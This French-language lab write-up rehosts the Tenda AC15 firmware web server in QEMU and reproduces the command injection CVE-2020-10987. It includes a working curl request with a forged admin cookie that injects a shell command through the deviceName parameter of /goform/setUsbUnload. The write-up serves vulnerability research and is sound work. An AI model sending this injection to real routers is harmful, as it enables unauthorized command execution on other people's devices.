
Writeup pour le réhébergement du firmware du routeur Tenda AC15 et l'exécution de commandes à distance (CVE-2020-10987) pour la réplication d'exploit.
Ce compte-rendu montre exactement comment j'ai émulé le serveur web du firmware AC15 (V15.03.05.19) avec QEMU, l'ai rendu accessible depuis le navigateur hôte, et exploité le gestionnaire vulnérable /goform/setUsbUnload (CVE-2020-10987) pour exécuter des commandes dans le rootfs émulé.
squashfs de l'image du firmware et commencer le rétro-ingénierieD'abord, nous devons obtenir notre image du firmware. Je n'ai pas pu trouver le téléchargement de l'image pour AC15 V15.03.05.19, mais j'ai pu trouver un dépôt GitHub avec le système de fichiers squashfs déjà extrait.
Si nous avions le fichier image correct, nous pourrions l'extraire en utilisant binwalk comme suit,```
user@computer $ binwalk -e AC15_V15.03.05.19.bin
64 0x40 TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0 92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes 1722572 0x1A48CC Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08
user@computer $ cd _AC15_V15.03.05.19.bin.extracted
Puisque nous n'avons pas le fichier image correct mais un repo avec le filesystem déjà extrait, nous pouvons simplement cloner le repo.```
git clone https://github.com/lapinpt/Tenda-AC15-Firmware-V15.03.05.19-9061
J'ai créé un répertoire appelé VR et cloné ce dépôt à l'intérieur. Mon rootfs se trouve dans $HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs
Parfait, nous avons maintenant notre firmware AC15 V15.03.05.19 firmware. Passons à du reverse engineering pour voir ce qui se passe.
J'utiliserai Ghidra 11.4.2 pour mon reverse engineering.
Naviguons vers notre binaire cible ici rootfs/bin/httpd et chargeons-le dans Ghidra.
Si nous allons à la fonction formsetUsbUnload, nous pouvons voir,```C
uVar1 = FUN_0002bd4c(param_1,"deviceName",&DAT_000f4bdc);
doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s",0x33,3,uVar1);
FUN_0002c6cc(param_1,"HTTP/1.0 200 OK\r\n\r\n");
FUN_0002c6cc(param_1,"{"errCode":0}");
FUN_0002cc14(param_1,200);
return;
Voici la vulnérabilité. Le paramètre `deviceName` est passé directement dans `doSystemCmd`, ce qui nous permet d'envoyer les commandes de notre choix.
Maintenant, comme nous allons réhéberger ce firmware en utilisant qemu et non le matériel du routeur d'origine, certains programmes vont tenter d'atteindre des périphériques inexistants et planter notre démarrage.
Notre objectif étant d'exploiter le serveur web (`httpd`), je me suis concentré uniquement sur le réhébergement de ce binaire, et non de l'intégralité du démarrage (`/rootfs/etc_ro/init.d/rcS`). _A posteriori, je ne suis pas sûr que cela ait été la bonne décision._
Donc, en examinant `rcS`, je voulais trouver tout ce que `rcS` pourrait faire dont `httpd` aurait besoin. Vers la fin du fichier, on peut voir :```bash
cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &
rcS démarre cfmd en arrière-plan juste avant que le reste de la pile ne s'active.
Après quelques recherches supplémentaires et en examinant comment la fonction vulnérable envoie la commande, je suis arrivé à la conclusion que,
httpd construit un cfm postcfm communique avec cfmd via un socket de domaine UNIX (par exemple /var/cfm_socket)Dans la routine InitServer de cfmd, on peut voir```C
unlink("/var/cfm_socket");
strncpy(sa_unix.sun_path, "/var/cfm_socket", ...);
bind(fd, (sockaddr*)&sa_unix, 0x6e);
listen(fd, 5);
Il crée un socket UIX et écoute.
Globalement, le fonctionnement est que le gestionnaire lit une trame fixe de 0x7e0 octets de chaque client (`RecvMsg`/`SendMsg`). Les 4 premiers octets sont un code de commande ; ensuite il y a un tampon de clé de 512 octets et un tampon de valeur de 1500 octets (vous pouvez voir les tailles des objets de la pile dans le gestionnaire). Il effectue un branchement sur l'opcode et répond avec un code ACK :
- `2` -> Get : `GetCfmValue(key, value)` puis code de réponse `3`
- `0` -> Set : `SetCfmValue(key, value)` puis code de réponse `1`
- `0x11` -> Unset : `UnSetCfmValue(key)` puis code de réponse `0x12`
- `10` -> Commit : `SaveCfm2Flash()` puis réponse `0x10` (OK) ou `0xB` (erreur)
Donc pour émuler `cfmd`, j'ai créé un court script `cfm_stub````C
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>
#define SOCK_PATH "/var/cfm_socket"
// minimal UNIX-domain server that httpd expects.
// Replies with an IP string when it sees the key it asks for.
int main(void) {
int s = socket(AF_UNIX, SOCK_STREAM, 0);
struct sockaddr_un addr = {0};
if (s < 0) { perror("socket"); return 1; }
unlink(SOCK_PATH);
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path)-1);
if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
if (listen(s, 5) < 0) { perror("listen"); return 1; }
for (;;) {
int c = accept(s, NULL, NULL);
if (c < 0) { if (errno==EINTR) continue; perror("accept"); break; }
char buf[1024]; ssize_t n = read(c, buf, sizeof(buf));
if (n > 0) {
// In some builds httpd asks for "lan.webiplansslen" etc.
// Any non-empty reply that looks like an IP keeps init happy.
const char *reply = "192.168.0.1";
write(c, reply, strlen(reply));
}
close(c);
}
close(s);
return 0;
}
Je montrerai comment compiler cela après la partie suivante.
Le fichier d'assistance suivant est hooks.so. Il y a quelques fonctions utilisées dans httpd et cfm qui tentent d'interagir avec du matériel inexistant.
Voici ce que notre programme suppose lors du démarrage :
/dev/nvram) et renvoie des valeurs par défaut cohérentes.Les fonctions suivantes deviennent problématiques et nous devons donc les corriger avec LD_PRELOAD=/hooks.so.
get_flash_type() -> si elle renvoie 4, le code emprunte un chemin basé sur les fichiers (cfm_file_init), sinon il tente de communiquer avec MTD (que nous n’avons pas).get_cfm_blk_size_from_cache() (ou sa variante j_get_cfm_blk_size_from_cache) est consultée pour la taille des blocs de configuration.bcm_nvram_get) ne doivent pas échouer, sinon la pile suppose que « NVRAM est détruite » et entre dans une logique de restauration/redémarrage.load_l7setting_file() et restore_power() sont censées réussir mais touchent du matériel/fichiers inexistants.Voici notre hooks.c. Merci à azeria-labs pour l'original.```C
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
int j_get_cfm_blk_size_from_cache(const int i) { puts("j_get_cfm_blk_size_from_cache called....\n"); return 0x20000; // 128 KiB block — what the file path expects }
int get_flash_type() { puts("get_flash_type called....\n"); return 4; // force file-backed CFM init, not MTD }
int load_l7setting_file() { puts("load_l7setting_file called....\n"); return 1; // pretend Layer-7 settings loaded OK }
int restore_power(int a, int b) { puts("restore_power called....\n"); return 0; // success (don’t touch RF/power hardware) }
char *bcm_nvram_get(char *key) { char *value = NULL;
if (strcmp(key, "et0macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FE"); // any valid MAC works } if (strcmp(key, "sb/1/macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FD"); } if (strcmp(key, "default_nvram") == 0) { value = strdup("default_nvram"); // signals “nvram is OK” }
printf("bcm_nvram_get(%s) == %s\n", key, value); return value; }
Maintenant, compilons ces fichiers et plaçons-les dans notre firmware. Pour compiler de manière croisée, nous pouvons utiliser la chaîne d'outils uClibc préconstruite de Bootlin.```bash
wget https://toolchains.bootlin.com/downloads/releases/toolchains/armv5-eabi/tarballs/armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
tar xjf armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
export PATH="$PWD/armv5-eabi--uclibc--stable-2020.08-1/bin:$PATH"
ls armv5-eabi--uclibc--stable-2020.08-1/bin | grep gcc
Vous devriez voir quelque chose comme ce qui suit.```bash arm-buildroot-linux-uclibcgnueabi-gcc arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0 arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0.br_real arm-buildroot-linux-uclibcgnueabi-gcc-ar arm-buildroot-linux-uclibcgnueabi-gcc.br_real arm-buildroot-linux-uclibcgnueabi-gcc-nm arm-buildroot-linux-uclibcgnueabi-gcc-ranlib arm-linux-gcc arm-linux-gcc-9.3.0 arm-linux-gcc-9.3.0.br_real arm-linux-gcc-ar arm-linux-gcc.br_real arm-linux-gcc-nm arm-linux-gcc-ranlib
Maintenant nous pouvons compiler avec```bash
arm-buildroot-linux-uclibcgnueabi-gcc -shared -fPIC -Os -ldl -Wl,-soname,hooks.so -o hooks.so hooks.c
arm-buildroot-linux-uclibcgnueabi-gcc -Os -s -o cfm_stub cfm_stub.c
Ensuite, installez-les dans le firmware.``` $FIRM = "$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs" install -m 0644 ./hooks.so "$FIRM/hooks.so" install -D -m 0755 ./cfm_stub "$FIRM/usr/sbin/cfm_stub"
## Construction du système invité ARM
Configurons notre invité ARM en utilisant qemu en système complet.
J'ai créé un répertoire pour héberger ce système invité dans `~/qsys`
Maintenant, dans ce répertoire, configurons notre invité en effectuant les opérations suivantes```bash
sudo apt-get install -y qemu-system-arm qemu-utils debootstrap qemu-user-static binfmt-support
mkdir -p ~/qsys/rootfs-armhf
sudo debootstrap --arch=armhf --foreign bookworm ~/qsys/rootfs-armhf http://deb.debian.org/debian
sudo cp /usr/bin/qemu-arm-static ~/qsys/rootfs-armhf/usr/bin/
sudo chroot ~/qsys/rootfs-armhf /debootstrap/debootstrap --second-stage
cat | sudo tee ~/qsys/rootfs-armhf/etc/apt/sources.list >/dev/null <<'EOF'
deb http://deb.debian.org/debian bookworm main
EOF
sudo chroot ~/qsys/rootfs-armhf apt-get update
sudo chroot ~/qsys/rootfs-armhf apt-get install -y \
net-tools iproute2 iputils-ping python3 busybox-syslogd openssh-server \
ifupdown curl ca-certificates
sudo chroot ~/qsys/rootfs-armhf bash -lc 'echo "root:root" | chpasswd'
Ceci créera notre rootfs armhf, mettra à jour notre invité, configurera quelques outils de base, puis définira notre username:password racine sur root:root.
Ensuite, installez le noyau armhf avec```bash sudo chroot ~/qsys/rootfs-armhf apt-get install -y linux-image-armmp
Ensuite, nous copions le noyau et construisons l'image ext4```bash
mkdir -p ~/qsys/kernel
KVER=$(ls ~/qsys/rootfs-armhf/boot/vmlinuz-* | sed 's#.*/vmlinuz-##')
cp ~/qsys/rootfs-armhf/boot/vmlinuz-$KVER ~/qsys/kernel/zImage
cp ~/qsys/rootfs-armhf/usr/lib/linux-image-$KVER/vexpress-v2p-ca9.dtb ~/qsys/kernel/
dd if=/dev/zero of=~/qsys/armhf.ext4 bs=1M count=2048
mkfs.ext4 -F ~/qsys/armhf.ext4
sudo mount ~/qsys/armhf.ext4 /mnt
sudo rsync -aHAX ~/qsys/rootfs-armhf/ /mnt/
sudo umount /mnt
Maintenant pour démarrer notre système invité
Depuis ~/qsys exécutez```bash
qemu-system-arm
-M vexpress-a9 -cpu cortex-a9 -m 512M
-kernel ./kernel/zImage
-dtb ./kernel/vexpress-v2p-ca9.dtb
-initrd ./kernel/initrd.img
-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"
-nographic -audiodev none,id=noaudio
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80
-device virtio-net-device,netdev=net0
-drive file=./armhf.ext4,if=sd,format=raw
-fsdev local,id=fsdev0,path=$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs,security_model=none,readonly=on
-device virtio-9p-device,fsdev=fsdev0,mount_tag=fw
Voici un aperçu rapide de ce que ces lignes dans la commande de démarrage signifient réellement.
- `-M vexpress-a9 -cpu cortex-a9 -m 512M` Utilisez le modèle de carte Versatile Express A9 (une carte supportée par le noyau armmp de Debian)
- `-kernel/-dtb/-initr` Démarrez le noyau/initrd Debian pour cette carte, avec le blob device-tree vexpress.
- `-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"` Configuration standard rootfs sur SD avec console série sur PL011.
- `-nographic -audiodev none,id=noaudio` Interface utilisateur série uniquement (pas de fenêtre SDL) et pas d'audio.
- `-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80` NAT en mode utilisateur QEMU ; redirige `hôte:2222` vers `invité:22` et `hôte:8080` vers `invité:80`. C'est important pour le réseau. On en reparlera plus tard.
- `-device virtio-net-device,netdev=net0` Attache une carte réseau au backend `net0`.
- `-drive file=./armhf.ext4,if=sd,format=raw` Le rootfs Debian réside sur un périphérique bloc de type SD (`/dev/mmcblk0`).
- `-fsdev ... -device virtio-9p-device ... mount_tag=fw` Expose le rootfs du firmware (lecture seule) dans l'invité via 9p avec le tag `fw`. Nous le monterons sur `/firmware` et superposerons un overlayfs pour la capacité d'écriture.
Maintenant, à l'intérieur de l'invité, vous pourriez obtenir quelques erreurs. Ce n'est pas grave tant que vous arrivez à l'invite de connexion et que vous pouvez vous connecter avec `root:root`.
Ensuite, pour obtenir Internet sur notre système invité, exécutez la commande suivante```
dhclient -v eth0 || udhcpc -i eth0
Cela permettra d'obtenir un bail DHCP sur eth0
Installez maintenant socat``` apt-get update && apt-get install -y socat
## Script de démarrage
Ensuite, créons notre script de démarrage dans le répertoire racine de l'invité.```bash
nano boot_tenda.sh
Voici notre script de démarrage /root/boot_tenda_sh à l'intérieur de notre invité avec des commentaires expliquant chaque étape.```bash
set -e
mkdir -p /firmware mountpoint -q /firmware || mount -t 9p -o trans=virtio,version=9p2000.L fw /firmware
for m in /mnt/fw/dev /mnt/fw/proc /mnt/fw/sys /mnt/fw; do umount -l "$m" 2>/dev/null || true; done
rm -rf /overlay_run
mkdir -p /overlay_run/upper /overlay_run/work /mnt/fw
mount -t overlay overlay
-o lowerdir=/firmware,upperdir=/overlay_run/upper,workdir=/overlay_run/work
/mnt/fw
mount --bind /dev /mnt/fw/dev mount --bind /proc /mnt/fw/proc mount --bind /sys /mnt/fw/sys mkdir -p /mnt/fw/var/log /mnt/fw/var/run /mnt/fw/tmp
ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up
pidof syslogd >/dev/null || syslogd
chroot /mnt/fw /bin/sh -c 'mkdir -p /webroot; cp -r /webroot_ro/* /webroot/ 2>/dev/null || true'
chroot /mnt/fw /bin/sh -c '/usr/sbin/cfm_stub >/var/log/cfm_stub.log 2>&1 &' sleep 1 [ -S /overlay_run/upper/var/cfm_socket ] && echo "cfm socket up" || echo "no cfm socket"
chroot /mnt/fw /bin/sh -c 'export LD_LIBRARY_PATH=/lib:/usr/lib; LD_PRELOAD=/hooks.so /bin/httpd >/var/log/httpd.log 2>&1 &' sleep 2
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')
if command -v socat >/dev/null; then
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80
>/root/socat.log 2>&1 &
else
echo "socat not found"
fi
(ss -lntp || netstat -lntp) 2>/dev/null | grep -E '(:80\b|httpd)' || true
Maintenant, il est temps de l'exécuter.```
chmod +x /root/boot_tenda.sh
/root/boot_tenda.sh
Vous devriez voir un écouteur sur le port 80 avec httpd
Pour vérifier davantage, naviguez vers http://127.0.0.1:8080/ sur votre hôte et vous pourrez voir la page d'accueil du routeur.
Si vous voulez en savoir plus sur le fonctionnement du réseau, continuez à lire ; sinon, vous pouvez passer à la dernière section où nous exploitons le serveur web.
Nous devions charger le httpd du routeur à l'intérieur de l'invité mais le rendre accessible depuis le navigateur de l'hôte à http://127.0.0.1:8080/ tandis que le serveur croit toujours qu'il est lié à l'IP LAN du routeur (192.168.0.1).
Il y a trois éléments qui permettent cela :
br0 à 192.168.0.1)socat)Nous faisons cela dans la commande de démarrage lorsque nous spécifions```bash -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 -device virtio-net-device,netdev=net0
- `-netdev user,...` active le slirp (NAT en mode utilisateur de QEMU) : l'invité obtient un accès Internet sortant (DHCP, DNS) sans nécessiter de ponts root ou de périphériques TAP sur l'hôte.
- `hostfwd=tcp::2222-:22` redirige le port hôte 2222 -> port invité 22.
- `hostfwd=tcp::8080-:80` redirige le port hôte 8080 -> port invité 80.
Ensuite, nous obtenons le bail DHCP pour `eth0`. Notez que Slirp attribue généralement à l'invité l'adresse `10.0.2.15`, avec la passerelle à `10.0.2.2`.```bash
dhclient -v eth0 || udhcpc -i eth0
Le firmware réel s'attend à se lier au pont LAN br0 à 192.168.0.1. Nous recréons cela :```bash ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up
Les binaires (ou leurs bibliothèques) interrogent souvent les noms d'interface (par ex., `lan_ifname=br0`) et s'attendent à un périphérique pont.
- Lier httpd à `192.168.0.1` préserve le comportement/les redirections (par ex., `302` vers `http://192.168.0.1/main.html`) identiques à ceux du périphérique réel.
- À ce stade, httpd écoute uniquement sur `192.168.0.1:80` (pas sur l'`eth0` de l'invité).
### 3. Pont hostfwd -> écouteur du firmware avec `socat`
`host:8080` -> `guest:80` est déjà configuré par QEMU. Mais `httpd` n'écoute pas sur l'`eth0:80` de l'invité ; il écoute sur `192.168.0.1:80`. Donc à l'intérieur de l'invité, nous ajoutons un petit relais TCP :```bash
# find the slirp IP (usually 10.0.2.15)
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')
# forward guest:eth0:80 → 192.168.0.1:80
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
>/root/socat.log 2>&1 &
Voici la disposition générale``` Host browser (127.0.0.1:8080) │ V QEMU hostfwd:8080 → guest:80 (on eth0 @ 10.0.2.15) │ V socat in guest: 10.0.2.15:80 → 192.168.0.1:80 │ V httpd bound at 192.168.0.1:80 (inside firmware chroot)
## Temps d'exploit
La pile web protège les points de terminaison « goform » derrière des vérifications same-origin/AJAX et un cookie « logged in ». Envoyez les mêmes en-têtes que le UI JavaScript enverrait :```bash
curl -v \
-H 'Host: 192.168.0.1' \
-H 'Origin: http://192.168.0.1' \
-H 'Referer: http://192.168.0.1/index.html' \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'Cookie: user=admin; password=21232f297a57a5a743894a0e4a801fc3' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'deviceName=$(touch /tmp/Hello_World)' \
http://127.0.0.1:8080/goform/setUsbUnload
Qu'est-ce que cela fait exactement ?
Host/Origin/Referer/X-Requested-With réussit les vérifications AJAX + même origine dans le gestionnaireCookie: user=admin; password=<md5> simule une session connectée. Dans ce cas, j'ai utilisé md5("admin") = 21232f297a57a5a743894a0e4a801fc3deviceName=$(touch /tmp/Hello_World) définit le nom de l'appareil sur la commande que nous voulons exécuter. Dans ce cas, nous créons un fichier /tmp/Hello_World
Note que l'exécution de cette commande bloquera pendant un certain temps, puis fermera très probablement la connexion avec une erreur. C'est normal et la preuve que cela a fonctionné.Ensuite, dans l'invité, pour vérifier davantage, nous pouvons vérifier l'existence de notre nouveau fichier```bash chroot /mnt/fw /bin/sh -c 'ls -l /tmp/Hello_World && echo "success it worked!"
Vous devriez voir```
-rw-r--r-- 1 root root 0 ... /tmp/Hello_World
success it worked!
Nous avons réussi à exploiter notre routeur re-hébergé en exécutant notre commande envoyée